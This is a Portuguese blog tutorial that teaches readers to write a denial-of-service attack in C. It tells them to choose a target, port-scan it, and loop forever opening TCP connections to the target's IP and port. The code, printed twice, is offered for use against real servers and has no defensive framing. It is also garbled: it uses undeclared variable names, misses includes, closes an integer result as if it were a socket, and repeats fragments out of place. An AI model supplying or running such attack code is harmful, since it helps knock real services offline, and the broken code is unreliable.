Olá pessoal, hoje nós aprenderemos a como criar um ataque DoS, mas antes de começarmos é de fundamental importância que vocês tenham lido o tutorial de criação de sockets. Para encontrá-lo é só clicar bem aqui.
O que é um ataque DoS?
Um ataque DoS (sigla em inglês para Denial of Service) é um ataque de negação de serviço que tem como finalidade tornar os recursos de um sistema inacessíveis para seus usuários, é comumente utilizado para atacar servidores WEB tornando suas páginas hospedadas indisponíveis. Diferente de outros ataques, o DoS não se trata de uma invasão, mas sim de uma sobrecarga fazendo com que o serviço disponibilizado "caia".
Como fazer um ataque DoS?
Agora vamos ao que interessa, relacionado ao conteúdo aprendido no tutorial de sockets iremos aprimorar as nossas habilidades para construirmos o nosso código DoS em C, antes de tudo você deve escolher um alvo (host ativo) e realizar um portscan nele para identificar quais portas TCP estão abertas, não usaremos portas UDP pois não é possível identificar de forma simples se uma porta UDP está aberta ou filtrada por um firewall. Após isso, abra o seu terminal e escolha o editor de textos de sua preferência que iremos começar a codificar!
Criando o Código DoS em C
Primeiramente declararemos as bibliotecas que iremos usar no nosso código, no caso usaremos bibliotecas referentes a input e output, conexão e declaração de sockets e manipulação de strings:
#include<stdio.h>
#include<netdb.h>
#include<unistd.h>
#include<string.h>
Logo após iremos criar a nossa função principal, a main, onde estará todo o corpo do nosso código e em seguida, entre os parêntese, utilizaremos os os seguintes parâmetros para usar a passagem de argumentos:
int main( int argc, char *argv[] ){
}
Depois iremos declarar as variáves que usaremos ao longo do nosso código, inicialmente quatro variáveis inteiras, uma relacionada a criação do socket, um contador para o loop que iremos criar, outra para fazer a conexão com o nosso alvo e uma para digitarmos o número da porta por qual faremos a negação do serviço e por último um ponteiro de char que receberá o endereço ip que foi passado como argumento. Confira o exemplo abaixo:
int meuSocket;
int conectar;
int cont;
int porta;
char *Ipalvo = argv[1];
Agora iremos colocar um scanf para que o usuário possa entrar com o valor da porta TCP para se conectar com o alvo.
scanf(" %d",&porta);
Após declararmos as variáveis e fazermos a leitura da porta abriremos um loop while com apenas 1 dentro dele, assim o loop ficará infinitamente, ou seja, enquanto o nosso código estiver rodando o ataque estará sendo executado.
while(1){
}
Dentro do while iremos criar e estabelecer a conexão com o endereço de ip passado por argumento e a porta TCP encontrada aberta, para isso faça da seguinte forma, caso tenha dúvidas sobre como criar um socket dê uma olhada no nosso tutorial de criação de sockets, lá está o passo a passo de todo o procedimento.
struct sockaddr_in alvo;
meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);
alvo.sin_family = AF_INET;
alvo.sin_port = htons(porta);
alvo.sin_addr.s_addr = inet_addr(Ipalvo);
conectar = connect(meuSocket, (struct sockaddr *)&alvo,sizeof alvo);
meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);
alvo.sin_family = AF_INET;
alvo.sin_port = htons(porta);
alvo.sin_addr.s_addr = inet_addr(Ipalvo);
conectar = connect(meuSocket, (struct sockaddr *)&alvo,sizeof alvo);
Para finalizar, colocaremos uma condicional de confirmação, se a conexão com servidor através da porta selecionada for bem sucedida, o código irá "printar" uma mensagem, caso não seja, ele encerrará a conexão e através do loop tentará abrir outra.
if( conectar == 0 ){
printf("atacando o servidor pela porta %d \n",porta);
}else{
close(meuSocket);
close(conectar);
}
printf("atacando o servidor pela porta %d \n",porta);
}else{
close(meuSocket);
close(conectar);
}
No final a Estrutura do nosso código ficará como mostrado abaixo, enquanto seu algoritmo estiver rodando a conexão com o alvo continuará sendo realizada e a negação de serviço estará sendo feita e não esqueça de passar o endereço ip do alvo como argumento na hora de executar o código. Até a próxima pessoal!
#include<stdio.h>
#include<netdb.h>
#include<unistd.h>
#include<string.h>
int main(int argc, char *argv[]){
int meuSocket;
int conectar;
int porta;
char *Ipalvo = argv[1];
scanf(" %d",&porta);
while(1){
struct sockaddr_in alvo;
meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);
alvo.sin_family = AF_INET;
alvo.sin_port = htons(porta);
alvo.sin_addr.s_addr = inet_addr(Ipalvo);
conectar = connect(meuSocket, (struct sockaddr *)&alvo,sizeof alvo);
if( conectar == 0 ){
printf("atacando o servidor pela porta %d \n",porta);
}else{
close(meuSocket);
close(conectar);
}
}
return 0;
}
#include<stdio.h>
#include<netdb.h>
#include<unistd.h>
#include<string.h>
int main(int argc, char *argv[]){
int meuSocket;
int conectar;
int porta;
char *Ipalvo = argv[1];
scanf(" %d",&porta);
while(1){
struct sockaddr_in alvo;
meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);
alvo.sin_family = AF_INET;
alvo.sin_port = htons(porta);
alvo.sin_addr.s_addr = inet_addr(Ipalvo);
conectar = connect(meuSocket, (struct sockaddr *)&alvo,sizeof alvo);
if( conectar == 0 ){
printf("atacando o servidor pela porta %d \n",porta);
}else{
close(meuSocket);
close(conectar);
}
}
return 0;
}
0 comentários:
Postar um comentário